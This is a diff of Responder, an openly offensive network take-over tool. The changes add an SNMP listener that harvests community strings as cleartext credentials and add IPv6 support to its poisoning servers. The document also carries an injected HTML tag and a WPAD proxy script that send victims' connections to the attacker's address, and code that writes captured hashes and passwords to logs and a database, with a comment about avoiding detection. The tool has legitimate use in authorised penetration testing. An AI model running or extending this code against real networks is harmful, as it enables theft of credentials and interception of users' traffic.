print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1)) print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close() self.request.close()
#WINSPOOL #WINSPOOL
@@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate() RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC))) self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024) data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1)) print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close() self.request.close()
#NetLogon #NetLogon

View File

@@ -206,7 +206,6 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
except: except:
raise
pass pass
##Negotiate proto answer SMBv2. ##Negotiate proto answer SMBv2.

50
servers/SNMP.py Executable file
View File

@@ -0,0 +1,50 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from pyasn1.codec.der.decoder import decode
class SNMP(BaseRequestHandler):
def handle(self):
data = self.request[0]
received_record, rest_of_substrate = decode(data)
snmp_version = int(received_record['field-0'])
if snmp_version > 1:
# TODO: Add support for SNMPv3 (which will have a field-0 value of 2)
print(text("[SNMP] Unsupported SNMPv3 request received from %s" % self.client_address[0].replace("::ffff:","")))
return
community_string = str(received_record['field-1'])
SaveToDb(
{
"module": "SNMP",
"type": "Cleartext",
"client": self.client_address[0],
"user": community_string,
"cleartext": community_string,
"fullhash": community_string,
}
)

View File

@@ -127,12 +127,12 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Basic: if settings.Config.Basic:
Response = IIS_Basic_401_Ans() Response = IIS_Basic_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[WinRM] Sending BASIC authentication request to %s" % client)) print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else: else:
Response = IIS_Auth_401_Ans() Response = IIS_Auth_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[WinRM] Sending NTLM authentication request to %s" % client)) print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
return Response return Response

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import * from utils import *
__version__ = 'Responder 3.0.9.0' __version__ = 'Responder 3.1.3.0'
class Settings: class Settings:
@@ -83,7 +83,7 @@ class Settings:
# Config parsing # Config parsing
config = ConfigParser.ConfigParser() config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
# Servers # Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
@@ -96,9 +96,10 @@ class Settings:
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP')) self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP'))
# Db File # Db File
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database')) self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
@@ -119,10 +120,8 @@ class Settings:
self.LM_On_Off = options.LM_On_Off self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.DHCP_On_Off = options.DHCP_On_Off self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Interface = options.Interface self.Interface = options.Interface
self.OURIP = options.OURIP self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth self.Force_WPAD_Auth = options.Force_WPAD_Auth
@@ -132,22 +131,43 @@ class Settings:
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv) self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
if self.Interface == "ALL": if self.Interface == "ALL":
self.Bind_To_ALL = True self.Bind_To_ALL = True
else: else:
self.Bind_To_ALL = False self.Bind_To_ALL = False
#IPV4
if self.Interface == "ALL": if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP) self.IP_aton = socket.inet_aton(self.OURIP)
else: else:
self.IP_aton = socket.inet_aton(self.Bind_To) self.IP_aton = socket.inet_aton(self.Bind_To)
#IPV6
if self.Interface == "ALL":
if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
else:
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
#External IP
if self.ExternalIP: if self.ExternalIP:
if utils.IsIPv6IP(self.ExternalIP):
sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
self.ExternalIPAton = socket.inet_aton(self.ExternalIP) self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
self.ExternalResponderIP = utils.RespondWithIP() self.ExternalResponderIP = utils.RespondWithIP()
else: else:
self.ExternalResponderIP = self.Bind_To self.ExternalResponderIP = self.Bind_To
#External IPv6
if self.ExternalIP6:
self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
self.ExternalResponderIP6 = utils.RespondWithIP6()
else:
self.ExternalResponderIP6 = self.Bind_To6
self.Os_version = sys.platform self.Os_version = sys.platform
@@ -159,6 +179,7 @@ class Settings:
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt')
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
@@ -185,7 +206,7 @@ class Settings:
self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>" self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
if len(self.WPAD_Script) == 0: if len(self.WPAD_Script) == 0:
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}'
if self.Serve_Exe == True: if self.Serve_Exe == True:
if not os.path.exists(self.Html_Filename): if not os.path.exists(self.Html_Filename):
@@ -202,10 +223,13 @@ class Settings:
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
#add a .local to all provided DontRespondToName
self.MDNSTLD = ['.LOCAL']
self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD]
#Generate Random stuff for one Responder session #Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)]) self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
self.DomainName = self.Domain + '.LOCAL' self.DomainName = self.Domain + '.LOCAL'
@@ -284,7 +308,7 @@ class Settings:
RoutingInfo = "Error fetching Routing information:", ex RoutingInfo = "Error fetching Routing information:", ex
pass pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1')) Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
try: try:
utils.DumpConfig(self.ResponderConfigDump, Message) utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self)) utils.DumpConfig(self.ResponderConfigDump,str(self))

View File

@@ -3,7 +3,10 @@ try:
from UserDict import DictMixin from UserDict import DictMixin
except ImportError: except ImportError:
from collections import UserDict from collections import UserDict
from collections import MutableMapping as DictMixin try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):

139
utils.py
View File

@@ -24,8 +24,24 @@ import settings
import datetime import datetime
import codecs import codecs
import struct import struct
import random
try:
import netifaces
except:
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
from calendar import timegm from calendar import timegm
def if_nametoindex2(name):
if settings.Config.PY2OR3 == "PY2":
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
ret = libc.if_nametoindex(name)
return ret
else:
return socket.if_nametoindex(settings.Config.Interface)
def RandomChallenge(): def RandomChallenge():
if settings.Config.PY2OR3 == "PY3": if settings.Config.PY2OR3 == "PY3":
if settings.Config.NumChal == "random": if settings.Config.NumChal == "random":
@@ -128,17 +144,30 @@ def RespondWithIPAton():
else: else:
return settings.Config.IP_aton.decode('latin-1') return settings.Config.IP_aton.decode('latin-1')
def RespondWithIP(): def RespondWithIPPton():
if settings.Config.PY2OR3 == "PY2": if settings.Config.PY2OR3 == "PY2":
if settings.Config.ExternalIP: if settings.Config.ExternalIP6:
return settings.Config.ExternalIP return settings.Config.ExternalIP6Pton
else: else:
return settings.Config.Bind_To return settings.Config.IP_Pton6
else: else:
if settings.Config.ExternalIP: if settings.Config.ExternalIP6:
return settings.Config.ExternalIP return settings.Config.ExternalIP6Pton.decode('latin-1')
else: else:
return settings.Config.Bind_To return settings.Config.IP_Pton6.decode('latin-1')
def RespondWithIP():
if settings.Config.ExternalIP:
return settings.Config.ExternalIP
else:
return settings.Config.Bind_To
def RespondWithIP6():
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6
else:
return settings.Config.Bind_To6
def OsInterfaceIsSupported(): def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set": if settings.Config.Interface != "Not set":
@@ -148,6 +177,16 @@ def OsInterfaceIsSupported():
def IsOsX(): def IsOsX():
return sys.platform == "darwin" return sys.platform == "darwin"
def IsIPv6IP(IP):
if IP == None:
return False
regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
ret = re.search(regex, IP)
if ret:
return True
else:
return False
def FindLocalIP(Iface, OURIP): def FindLocalIP(Iface, OURIP):
if Iface == 'ALL': if Iface == 'ALL':
return '0.0.0.0' return '0.0.0.0'
@@ -155,6 +194,19 @@ def FindLocalIP(Iface, OURIP):
try: try:
if IsOsX(): if IsOsX():
return OURIP return OURIP
elif IsIPv6IP(OURIP):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
return ret
elif IsIPv6IP(OURIP) == False and OURIP != None:
return OURIP
elif OURIP == None: elif OURIP == None:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8')) s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
@@ -162,11 +214,45 @@ def FindLocalIP(Iface, OURIP):
ret = s.getsockname()[0] ret = s.getsockname()[0]
s.close() s.close()
return ret return ret
return OURIP
except socket.error: except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1)) print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1) sys.exit(-1)
def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL':
return '::'
try:
if IsIPv6IP(OURIP) == False:
try:
#Let's make it random so we don't get spotted easily.
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1))
IP = s.getsockname()[0]
print('IP is: %s'%IP)
return IP
except:
try:
#Try harder; Let's get the local link addr
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
return IP
except:
IP = '::1'
print("[+] You don't have an IPv6 address assigned.")
return IP
else:
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
# Function used to write captured hashs to a file. # Function used to write captured hashs to a file.
def WriteData(outfile, data, user): def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data) logging.info("[*] Captured Hash: %s" % data)
@@ -231,7 +317,7 @@ def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result: if not k in result:
result[k] = '' result[k] = ''
result['client'] = result['client'].replace("::ffff:","")
if len(result['user']) < 2: if len(result['user']) < 2:
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1)) print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
text("[*] Skipping one character username: %s" % result['user']) text("[*] Skipping one character username: %s" % result['user'])
@@ -251,16 +337,10 @@ def SaveToDb(result):
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname) logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
if not count: if not count:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit() cursor.commit()
if settings.Config.CaptureMultipleHashFromSameHost: if not count or settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf: with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
@@ -307,7 +387,7 @@ def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]: for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
if not k in result: if not k in result:
result[k] = '' result[k] = ''
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode'])) res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
@@ -336,14 +416,20 @@ def SaveDHCPToDb(result):
cursor.close() cursor.close()
def Parse_IPV6_Addr(data): def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] ==b'\x1c': if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
return False return 'IPv6'
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01': elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
return True return True
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01': elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
return True return True
return False return False
def IsIPv6(data):
if "::ffff:" in data:
return False
else:
return True
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
try: try:
from string import printable from string import printable
@@ -384,6 +470,10 @@ def banner():
print(banner) print(banner)
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__) print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
print('') print('')
print(" To support this project:")
print(" Patreon -> https://www.patreon.com/PythonResponder")
print(" Paypal -> https://paypal.me/PythonResponder")
print('')
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)") print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
print(" To kill this script hit CTRL-C") print(" To kill this script hit CTRL-C")
print('') print('')
@@ -417,8 +507,9 @@ def StartupMessage():
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled)) print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled)) print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled))
print('') print('')
print(color("[+] ", 2, 1) + "HTTP Options:") print(color("[+] ", 2, 1) + "HTTP Options:")
@@ -435,14 +526,18 @@ def StartupMessage():
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)) print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)) print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled)) print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
print('') print('')
print(color("[+] ", 2, 1) + "Generic Options:") print(color("[+] ", 2, 1) + "Generic Options:")
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)) print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)) print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
if settings.Config.ExternalIP:
print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
if settings.Config.ExternalIP6:
print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)) print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
if settings.Config.Upstream_Proxy: if settings.Config.Upstream_Proxy:
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)) print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))